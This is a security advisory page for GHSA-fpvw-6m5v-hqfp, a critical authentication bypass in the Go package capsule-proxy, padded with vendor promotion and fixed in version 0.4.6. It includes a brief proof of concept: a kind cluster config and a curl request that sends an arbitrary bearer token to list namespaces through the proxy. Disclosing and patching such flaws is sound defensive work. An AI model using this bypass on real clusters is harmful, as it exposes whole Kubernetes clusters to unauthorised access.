GHSA-fpvw-6m5v-hqfp
CRITICALCapsule Proxy Authentication bypass using an empty token
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/projectcapsule/capsule-proxy🐹github.com/clastix/capsule-proxyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.
All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.
PoC
Start a KinD cluster with the anonymous-auth value to false.
If it is true, it uses anonymous permissions which are very limited by default
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: ClusterConfiguration
apiServer:
extraArgs:
anonymous-auth: "false"
Install capsule and capsule-proxy
k port-forward svc/capsule-proxy 9001
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001
Then query the proxy
curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'
Impact
The whole cluster is exposed to unauthorised users.
This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule-proxy | all versions | 0.4.6 |
| 🐹Go | github.com/clastix/capsule-proxy | all versions | 0.4.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule-proxy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/projectcapsule/capsule-proxy to 0.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fpvw-6m5v-hqfp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fpvw-6m5v-hqfp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fpvw-6m5v-hqfp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fpvw-6m5v-hqfp in your dependencies?
O3 detects GHSA-fpvw-6m5v-hqfp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.